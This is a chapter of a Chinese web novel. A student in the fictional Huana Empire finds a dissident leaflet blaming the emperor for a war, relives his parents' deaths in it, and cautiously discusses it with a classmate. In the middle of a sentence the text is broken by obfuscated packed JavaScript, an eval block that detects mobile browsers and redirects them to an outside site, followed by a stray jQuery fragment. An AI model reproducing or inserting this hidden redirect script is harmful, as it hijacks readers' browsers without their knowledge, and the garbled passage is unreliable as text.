如墨的夜色无边无涯,星星不远不近地悬在天上,俯瞰人间。
离波城还有两个多小时的车程,奔驰大巴行驶在夜色掩映的公路上,大部分学生们在热熏熏的暖气里昏昏欲睡。
顾梓聿戴着耳机,听着宋熙和之前带他去录音室录的巴赫,在无伴奏小提琴曲的背景音中,安静地望着窗外:目光所及的是空旷的平野,低矮的房屋错落其间,地平线远处是重浪般的山川,更远处,星星点点的灯火在黑暗中像幸福一样,显得那么虚幻。
可他心里一点都不平静。
他的手指下意识地在裤兜处摩挲着,那张别人拿到后或惊慌失措地撕毁,或愤怒咒骂着丢掉的传单,他却悄悄叠成一个小方块,收了起来。
途中,他们曾在一家华纳传统餐馆短暂停留,打发晚餐。虽然不少菜品融合了索伦当地口味,比如奶酪馅的饺子、甜口的红烧肉,但整体味道尚可。顾梓聿吃得很认真,甚至还有些满足地吃光了滑蛋虾仁——他挺喜欢这道菜的。
餐馆入口处放着一个报刊架,上面陈列了一沓沓免费的报纸。见是熟悉的华纳文,许多学生自然随手取了一份。现在大家陆陆续续吃完饭,吃得快的就顺手打开,没过一会儿,一声不小的惊呼打破了餐馆的喧嚣。
顾梓聿还在吃。他吃东西一向不快,这会儿他还在慢嚼细咽呢,那边几个学生就开始窃窃私语,时不时传来“谣言”、“疯了”、“情报战”之类的词眼。
“假的,这肯定是敌国制造的心理战,你也信?”
“这纯属污蔑,扔了吧!”
“居然敢这样诋毁陛下,是该死的叛徒!”
甚至有人当场在地上踩烂报纸,还拿起手机拍照发社交平台,配文:“帝国的敌人,永远不会得逞。”
“怎么不过去看看?”这边的桌子只剩下林亦凡,田元元已经和赵奇过去一起安抚学生了,听着那边隐隐约约飘来的一句“扔了吧”,他像是毫不受影响地啜了一口冰可乐,看似随意地开口。
“这不是我饭还没吃完吗?”顾梓聿头也没抬,嘴里还含着饭,含糊地回了一句,一边下意识用手挡着嘴,“大家都吃完了,我得快点,不然怕待会还要大家等我。”
林亦凡笑了笑,没再说什么。
顾梓聿走出餐馆的时候,愣是磨蹭了一会儿,在确认周围无人注意后,快速翻了一下那报刊架上仅剩的一份报纸,他的动作很快,几乎是本能地抽出那张夹在中间的 A5 大小的宣传单,视线扫过那醒目的标题时,背脊猛地一紧,一股冷汗瞬间爬满后背。他快速地把纸三两下折成小方块,悄无声息地揣进口袋。
这张 A5 大小的薄薄传单,印着触目惊心的标题:
《鲜血与谎言:谁为战争买单?》
下方配着一张经过处理的黑白照片,是战场上一处废墟中的断壁残垣,残破的帝国旗帜在废墟中半垂而挂,隐约可见一具军人的遗体横陈其下。画面下方,一行鲜红大字格外刺目:
“那些被称为英雄的人,真的知道自己在为谁而死吗?”
传单罗列了几项骇人听闻的指控:
斯堪拉战事爆发前,帝国高层已秘密完成对其高原稀有矿产的资源探测;
帝国内阁曾秘密通过某份“战争资源分配协定”,将斯堪拉的港口石油经营权出售给某军工财团;
一位斯堪拉前政府高官的录音档案,暗示斯堪拉事变由华纳帝国主动策划;
唐维均之死疑点重重,或因政见不同而被“处理”;
末尾写着一句话:
“真相不会长眠,只是你还不愿意睁开双眼。”
顾梓聿的心,倏然紧缩。
在华纳境内,他从未见过那些耸人听闻的词句。他一向以为,父母死于战乱,是命运无情,是形势所迫,是无法预料的牺牲,更别说这纸上提到的其他事了。
若他只是一个普通人,他看到这张传单的反应也会像其他学生那样嗤之以鼻,或者更激烈一点,大骂出口,除此之外,是完全不会相信这纸上写的任何一切话的。
如今的华纳帝国一片繁荣昌盛,犹如一台高速运转却又井然有序的庞大机器:老皇帝当年英年早逝,这位年轻的皇帝陛下年少有为,继位时还只是一个稚童,在圣殿赛尔维斯大人和内阁的辅佐下,终于不负众人期待地长大,并平稳地将帝国的繁荣延续至今,被誉为“帝国百年来最具希望的君主”。
如今,帝国经济持续增长,科技与军力并驾齐驱,百姓安居乐业,社会秩序稳定有序,民众对国家未来充满信心。人们笃信这一切的根源,便是皇帝陛下的仁政与天赋。
所以,说什么“战争策动者”、“政治清洗”,甚至还敢瞎编排皇帝陛下和赛尔维斯大人的私生活,用“男宠”、“傀儡”这样的词来去诋毁,那简直就像是在华纳民众前亵渎他们的信仰!绝对是疯了!是恶意污蔑!一定是罪人、逃犯在污蔑皇帝陛下、蓄意报复、垂死挣扎!
华纳帝国的国民对少年皇帝的敬爱近乎一种虔诚的信仰:人人皆知,皇帝陛下简朴克己,不尚奢华,每逢节庆,必亲自前往孤儿院、养老所探访慰问;面对民生问题时,他总能及时发声、作出指示,令下属如神兵天降、百姓拍手称快;他年轻、英俊、亲和,出巡时所到之处皆被民众自发簇拥,争相瞻仰。他的肖像被高高挂在各大广场、政务厅、学校礼堂,被民众称作“帝国之光”。
短短十数年间,皇帝陛下带领华纳跨入黄金年代,而最能彰显他雄才大略的,就是十年前斯堪拉那场风波而酿成的战争。
那是一场几乎改变历史走向的战争,当时内外局势千钧一发,正是陛下慧眼识人,果断启用彼时尚无名气的青年将领何西岩,才扭转了战局。这场胜利让整个华纳空前团结,举国欢腾。宣传机器全面开动,英雄事迹海报铺天盖地,鼓舞前线士兵的歌曲响彻街头巷尾。
大将何西岩在战争初期以英勇事迹被树为“民族捍卫者”的典范,成为千家万户口中的“帝国之盾”,民众争相追捧,连他就读过的中学也成了民众自发的打卡圣地。皇帝陛下的支持率,也在那段时间内飙升至历史最高点——皇帝陛下就是帝国意志的化身,他的所言所行皆为帝国利益所向,他的命令就是真理。
在那样一个氛围里,没有人愿意去质疑战争,没有人去追问“代价”——哪怕有,也会在第二天被《帝国日报》上的一则批评稿迅速盖过。普通民众从来不知道战场上真正的伤亡数字,即使战事推进地比预期艰难,但民众坚信,只要皇帝在,帝国就不会错。一批批的年轻战士被送往前线,每一次大捷的背后都是尸山血海,但报纸上只有热血和荣耀,民众们所能看到的仍然是“一切顺利”,意味着他们的儿子、丈夫、兄弟的牺牲“是值得的”。质疑者,会被视为不忠、为敌人张目,甚至被冠上“叛国者”的罪名,遭人唾弃。
只可惜,顾梓聿不是一个无关的普通民众,他就是这张传单上所列出的无数荒唐的、疯狂的其中一个“谣言”的亲历者和幸存者。如果他能证明其中一件事是真的,别的事呢?也是确凿无疑的吗?
这不是一道数学证明题。他没有办法从这纸上的只言片语推断出正确或是错误。顾梓聿掐着自己的手指,没有想到多年前的噩梦会突然这时出现在他的眼前。他用力地瞪着眼睛,数着窗外经过了多少反光条。
小时候,关于父母的死亡,顾仲景只是告诉他:“出使期间遭遇当地武装冲突,遇难了。”?所有人都这么说,他能查到的任何公开信息,官方文件,甚至电视节目,在提及“唐维均”时都是沉痛而庄严的表述——“为了帝国而献身的外交家”。
他也从未怀疑过。
可现在……为什么这张纸上说的是“帝国让他送死”?
为什么有人敢用“被清洗”来形容一位忠臣的下场?
他记得那场战火如何毁灭了一切——可他从未敢深入回想。
如今,记忆如洪水般冲垮堤岸,那些久远的、模糊的、被刻意忽略的记忆碎片开始重新拼接,拼合出另一种轮廓。
他不能闭上眼,只要一闭眼,他就会看到那一片血色的连绵战火,就会马上想起那空投的炸弹在耳边不断炸响的恐惧。天边金黄色黄昏中,高大的摇曳的棕榈树向他的方向“轰隆”一声巨响倒下来,震起一片血肉模糊的残肢断臂。令人作呕的血腥味还带着热气,混着刺鼻的催.泪弹的味道扑面而来,他的嗓子辣的说不出话。抱着他的温柔的女人放下他,说着要去“找爸爸”。
他拉着她,死死地拉着她,可一个六岁的小孩子能有多少力气?他想叫她不要去,留下来,可嗓子太辣了,他一点声音都发不出,就看着女人的身影远去。他在心里无声地叫啊,无声的尖叫,没有人听见。火借风势熊熊燃烧,他在巨大的绝望中奔跑、摔跤、跌倒,要爬起来,一手撑在地上,粘的一手不可辨别的血肉组织。
他却连呕吐都不敢。
巴赫d小调组曲的 Allemande 舞曲响起,4/4拍,听起来平均的乐音中又有一点小小的出格,意犹未尽。顾梓聿回过神来,意识到现在播到哪儿了,立刻把进度条拉回最初。
不,至少现在,他听不了《恰空》。
到达波城时,已是深夜。学生们陆续被叫醒,但大家都还是一脸困倦的迷茫样。顾梓聿先下了车,迎面而来的冷风如刀一样刮过他的脸颊,还夹带了些小小的冰晶,打在他的脸上——他们一路北上,波城是纬度最高的城市,果然也是最冷的城市。
他不由得缩了缩脖子,把风帽戴了起来,幸亏他今天穿的是件防风雪的外套,不然这没一会就要湿透了。他戴上手套,给司机大叔帮把手,把大家的行李都一个个从车厢里提出来,整齐地摆在马路牙子边。
做这些事情的时候,他总是表现得自然得体——这让人对他产生依赖,也让他保持了安全的边界感。
他俩行李都快搬完了,大家伙才各自睡眼惺忪地背着包下车,而后拉着被司机和顾梓聿搬出来的旅行箱,脚步虚浮的走进酒店。
看到客人,大堂侍应生连忙迎上来接过行李,利落地抬着上台阶。顾梓聿顺手从兜里摸出零钱当作小费递过去。那年轻的小伙子精神一振,动作更快了些。
有学生还是没适应给服务员小费的习惯,在兜里翻了半天也没有零钱,手足无措。顾梓聿在一旁看着,正好兜里还有零钱,想着直接替她给了,就朝对方善意地笑了笑。
那是个高二女生,他们之前没怎么说过话,但顾梓聿知道她。听田元元说,这女生偏科严重,数理化一塌糊涂,但历史特别强,经常在宿舍里组织小型“思想沙龙”谈天说地,谈各国体制、评时事政策,听起来倒是个挺有想法的人。
那女生不好意思地冲他笑笑:“真是谢谢啦,钱我会还你的。”
“没事,”顾梓聿也笑了笑,脸上浮起他最常用、也最安全的一种表情:温和、不具攻击性,“大家都是同学,出门在外,互相帮助应该的。”
因为他们一行人多,又都是外国人,还都是未成年人,入住手续办起来格外繁琐。此时已近午夜,酒店前台只有一个工作人员,大家只能排队等着做登记,困倦又烦躁。
等待的过程是漫长的,顾梓聿口渴了,想去接点水喝,却没发现金碧辉煌的酒店大厅里到底哪儿有饮水机。
他好奇地向刚才那个帮他们提行李的小伙子问询,对方殷勤地带他绕到大厅的柱子后面,那儿正正摆着一个造型精美的玻璃缸,半人高,直径目测得有小一米,里面装的是柠檬水。
在波城室外温度已经零下飘雪的时候,这一大缸子柠檬水里,至少有二分之一漂着的都是冰块。
顾梓聿苦笑:这还喝什么喝,恐怕这一杯下去,马上就得胃出血吧。他就是不明白了,为什么这边人这么能吃冰?冬天喝凉水还说得过去,喝加这么多冰的冰水是什么操作?又不是可乐雪碧酒精饮料,不加冰就不能喝。
其实顾梓聿真的不挑食,但他就是怕喝冰的冷的东西,偶尔喝喝冰可乐也不敢多喝,冰水真的是太过了。
正拿着空杯子走回来,那个女生注意到了他。
“你是想喝点热水吗?”
被这么直接的话一问,顾梓聿先是一愣,随即反应过来,笑着说:“是,我有点渴,但是那边的水里都是冰块,我也喝不下去。”
那女生紧张地笑了笑,从包里摸出一个保温瓶:“我这里还有点热水,是中午在咖啡店里接的,你要是不介意的话…”
“啊,谢谢谢谢,太感谢了!”
要是平时,顾梓聿恐怕也不会接受,但现在他实在是太渴了,加上他刚才被旧事一激,神经过度紧张,整个人像被抽空似的,特别需要喝点热的来抚慰一下自己脆弱的胃。他双手接过对方手里的保温杯,倒了小半杯出来,留了一点再还给女生。
那女生摆摆手:“没事,待会马上就入住了,我有带热水壶来,你,你要是需要的话就都倒了吧,反正我现在也不渴。”
“这样不太合适吧,”顾梓聿嘴上还在客套,手已经下意识地又收回来了。他看着对方真诚的微笑,自己也笑了,把剩下的水都加到自己杯子里,那女生看着他一口气把水喝完,才说:“看来你真的很渴。”
顾梓聿不好意思起来:“刚刚吃饭的时候也没想多喝水,结果菜太咸了,我现在老是觉得嘴干。”
女生看着他笑,突然伸出右手:“你好,我叫陈思远。”
顾梓聿也笑着和她握手:“我叫顾梓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403489|166578||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
聿,很高兴认识你。”
前台登记出了点问题,不知道是系统卡了还是工作人员手速太慢,支票刷了半天也没反应,大家都只能在那干等着,学生们有的在刷手机,有的在小声抱怨,顾梓聿和陈思远站在角落里,就这样无所事事地闲聊起来。
聊了几句天气和饭菜,陈思远忽然压低声音,像是不经意地问:“刚才饭店里的那张传单,你有注意到吗?”
顾梓聿抬眼看了她一下。对方的语气轻描淡写,眼神却明显带着几分期待。
他习惯性地先自我抽离了一下,掂量了这个话题的风险,然后才慢吞吞地回道:“啊?我那会儿光顾着吃了,没太注意……好像听别人说了一点,说是写了些争议性的东西?”
“你怎么看?”陈思远试探着追问,尽力控制语气不显得太急切。但顾梓聿一眼就看出来了,她一直想找个人讨论这件事情,但是找不到合适的人。顾梓聿知道自己在这个团队当中的定位就是一个比较“独”的人,跟谁都走的不近,这样看来,陈思远来找他碰碰运气,也就可以理解了。
顾梓聿心里有点发紧,却仍旧保持着脸上的平静,甚至扯出一点微笑:“说实话,我以前没听说过这些事。我觉得这种事嘛……还是大人们更有发言权吧。我家里人也从来没讲过这些。”
他说得很稳,稳得像没踩进任何一个坑。陈思远听着,表情有点动摇,似乎还想再说什么,欲言又止。
顾梓聿本来想装傻,可他看着对方听了他这个回答后,明显就有点欲言又止的样子,突然心头一动,试探性地补了一句:“但是我想,能写出这种传单,就算其中所列的…不是百分之百真实吧,但说不定可能有一些是真的呢?”
陈思远听到最后这句话,才明显整个人都精神了起来,她凑近了,低声悄悄说:“我跟你说,至少有一件事情是真的,当年斯堪拉的那场战争,本来是打不起来的。你想不到吧,那位,可是主战派!”
她怎么知道的?顾梓聿摆出一副不信的样子:“怎么可能?大家不是都说当时皇帝陛下力主和平,坚决反对动武吗?”
在那场战争之前,帝国已经平静了很多年了,这个国家的两代人都从没上过战场。而现在,战争已经过去十年了,这场战争被评价为是一场“终止一切战争的战争”,是不得不打、为了保卫帝国底线的牺牲。
“…这场战争不是为了劫掠财富、不是为了欺压别的贫弱的国家、不是为了争夺所谓的国际控制力和影响力,这只是一场保卫帝国的正义的战争。”这是当年小皇帝的战前动员演讲。
陈思远显然不这么认为。她靠近了些,语速飞快:“你要知道,战争对于所谓的帝国人民的福祉没有任何意义,”她低声说道,表情严肃,“在我们现在所处的现代社会,国家、经济体之间相互依赖,因此,战争只会带来毁灭性的经济后果,即便对战胜方也是如此。战争的代价非常昂贵,据说,这场战争的最终花费,包括伤亡军人抚恤金,是帝国一年的国民生产总值不止。这还是往少算了的。”
“也就是说,帝国发动这场战争,除了他当时所说的“为无辜遇难的帝国子民寻求正义”的理由之外,完全没有其他任何可信的理由。而就连“寻求正义”,我都半信半疑。你能相信高高在上的皇帝陛下为了正义这两个字,就慷慨地把整个帝国整一年的 GDP 当水一样洒出去吗?”
其实,发动战争的理由远不止于此。野心家总能从战争中获利。执政者经常会从战争中获得政治利益,即使相关战争在国家集体利益层面并不合理。大炮一响,黄金万两,战争可以用来转移国内危机,实现资源掠夺和权力的再分配,集中对民意和对权力的控制,而这些才是真正推动战争的杠杆。
顾梓聿在心里默默想着,没说话,继续认真听。
陈思远大概也意识到自己讲得太多了,忽然换了个话题:“莫克兰公国当年发动的红海战争就来源于国内政局的不稳定。当时浦灯大公对权力的掌控程度达到了一个高峰,可是莫克兰公国国内快速的经济增长已经放缓——可以说,浦灯大公需要一些事情来转移国民的注意力,而一场战争,就是最好的解决方案。”
“战争的好处在于,它能迅速把人民拧成一股绳,迫使国民团结在领导人身边,不论他们的领导人有多么愚蠢,也不论这场战争实际上是不是会把他们拖至更糟糕的境地。在比利战争中,残暴的军政府领袖在短时间内突然间变成了街头巷尾人人称颂的国民英雄,而这,并不是宣传造成的,而是人民自发产生的情感。就说我们现在所在的索伦,第十三任总统在第一个任期内发动的“反恐战争”虽然花费了数万亿的军费,却也使他的中期支持率飙升到了有史以来的最高位,替他顺利地赢下了第二任期的选举。”
顾梓聿听着,面上带着恰到好处的惊讶和好奇,仿佛真的第一次听说这些。但他心里却在想:这个女生真的不是浪得虚名之辈,她有自己观点,支撑观点的事例信手拈来。对国际政事有如此广泛而深刻的了解,恐怕有很多成年人都不及她。
“日光之下无新事,所以,”陈思远意味深长地说,“一个威权主义政权在遇到问题时,通过威胁别的国家来解决问题,也不是完全不可能。”
“哇,你懂得好多啊。”顾梓聿在她说完之后,沉默了一会儿,才由衷说道,“你真的很适合参加模联啊。我听着虽然是一知半解的,但总觉得学到了蛮多东西。你能不能给我推荐几本书呢?我也想像你这样,有自己的思辨能力。”
陈思远本来说得很兴奋,这一听,脸色微妙地变了一下。她一下就意识到,眼前这个男孩,可能根本没真正听懂她话里的潜台词,甚至觉得有点扫兴——以为找到了一个知音,没想到却是绣花枕头一包草。
不过,虽然他这包的是草吧,外面这绣花枕头套是真好看。男孩干干净净的,眼睛明亮,唇红齿白,笑起来像一阵春风。她作为一位大了一岁的“老学姐”,也不免为小学弟的色相所惑,加上他刚才那不露声色拍的马屁,虽然还是有点对牛弹琴的郁闷,但还是耐心向他推荐了几本“特别有意思”的书。
“有些书是买不到的,我直接推电子版的资源给你吧。”
顾梓聿心里暗自咋舌:这里面有好些都是观点很“激进”,还有带有“蛊惑”性质的,三观未成熟的年轻人看了,很容易看待整个世界的方式都会变得偏激。他一边听着,那边赵奇正好叫到他的名字:“顾梓聿,带上身份证件过来登记!”
“我来了!”他对陈思远一笑,声音温和自然,“那我先过去啦,学姐早点休息,明天见。”
他走得干脆利落,动作自然,没有任何多余停顿。可在他脑子里,这场谈话早已被分类归档——警惕、有趣,但不宜深交。